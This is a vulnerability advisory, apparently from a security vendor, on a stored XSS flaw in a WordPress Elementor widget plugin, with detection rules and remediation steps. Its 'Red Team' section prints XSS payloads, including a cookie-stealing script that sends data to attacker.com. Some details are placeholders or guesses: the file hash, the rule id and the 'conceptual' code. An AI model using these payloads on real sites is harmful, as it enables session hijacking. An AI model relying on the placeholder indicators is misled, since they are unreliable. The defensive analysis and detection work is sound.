CVE-2024-13642

Executive Summary

CVE-2024-13642 is a Stored Cross-Site Scripting (XSS) vulnerability in the Stratum – Elementor Widgets plugin for WordPress, affecting all versions up to and including 1.4.7. The flaw resides in the plugin's Image Hotspot widget, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts into pages. When a victim visits an injected page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache or Nginx). The CVSS score is 6.4 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. No public proof-of-concept or exploit code is available at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are sourced from trusted channels. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress supply chain.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level access
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – the vulnerability impacts resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

The threat level is considered Medium due to the requirement for authenticated access and the limited impact on confidentiality and integrity. However, the ability to execute arbitrary scripts in the context of a victim's session makes this a significant risk for WordPress sites with multiple contributors.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the Image Hotspot widget of the Stratum plugin. The widget allows users to add interactive hotspots (tooltips) on images. The plugin fails to properly sanitize and escape user-supplied attributes, such as the hotspot title or description, before storing them in the database and rendering them on the page.

Attack Flow:

1. An attacker with contributor-level access (or higher) creates or edits a post/page using the Stratum Image Hotspot widget.
2. The attacker injects malicious JavaScript into a hotspot attribute (e.g., title or description).
3. The plugin stores the unsanitized input in the WordPress database.
4. When any user (including administrators) views the page, the malicious script executes in their browser.

Root Cause: Insufficient input sanitization and output escaping on user-supplied attributes in the stratum-image-hotspot widget.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is identified in the plugin's rendering logic. The vulnerable code likely uses echo or print without proper escaping.

Vulnerable Code (Conceptual):

// In stratum-image-hotspot.php
echo '<div class="hotspot" title="' . $attributes['title'] . '">';

Patched Code (Conceptual):

// Patched version
echo '<div class="hotspot" title="' . esc_attr($attributes['title']) . '">';

The fix involves using WordPress's built-in escaping functions like esc_attr() or wp_kses() to sanitize and escape user input before output.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Stratum plugin <= 1.4.7 installed and activated.
• Contributor-level account or higher.

Steps:

1. Log in as a contributor.
2. Create a new post or page.
3. Add the Stratum Image Hotspot widget.
4. In the hotspot title field, inject the following payload:

   <img src=x onerror=alert('XSS')>
   

5. Publish the post.
6. When any user views the post, the JavaScript executes.

Advanced Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual hotspot titles or descriptions containing <script> tags or event handlers.
• Review recent posts/pages created by contributors for suspicious content.

Prevention:

• Apply the principle of least privilege: restrict contributor-level access to trusted users only.
• Use a Web Application Firewall (WAF) to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • stratum.zip (v1.4.7): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example)
• Database Entries:
  • Posts/pages containing stratum-image-hotspot widget with suspicious attributes.
• Network Traffic:
  • Outbound requests to attacker-controlled domains from WordPress admin pages.
• Logs:
  • WordPress debug logs showing unescaped output in stratum-image-hotspot widget.

Detection Engineering

YARA Rule

rule CVE_2024_13642_Stratum_XSS {
    meta:
        description = "Detects vulnerable Stratum plugin files with unescaped output"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13642"
    strings:
        $vuln_func = /echo\s*['\"].*\$attributes\[/
        $vuln_attr = /title.*['\"].*\.\s*\$attributes/
    condition:
        $vuln_func or $vuln_attr
}

Sigma Rule

title: CVE-2024-13642 Stratum XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential XSS via Stratum Image Hotspot widget
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "stratum-image-hotspot"
        http.body|contains: 
            - "<script>"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in hotspot descriptions
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13642 Stratum XSS Attempt"; flow:to_server; content:"stratum-image-hotspot"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Stratum plugin until a patch is released.
2. Review and remove any suspicious posts/pages created by contributors.
3. Change all WordPress passwords and revoke contributor access for untrusted users.

Long-term Fix:

• Monitor the plugin's official repository for a patched version (>= 1.4.8).
• Apply the patch manually by adding esc_attr() or wp_kses() to all user-supplied attributes in the Image Hotspot widget.

Workarounds:

• Use a security plugin (e.g., Wordfence) to block XSS payloads.
• Implement a Content Security Policy (CSP) that restricts inline script execution.

Valters IT
Securing Digital Frontiers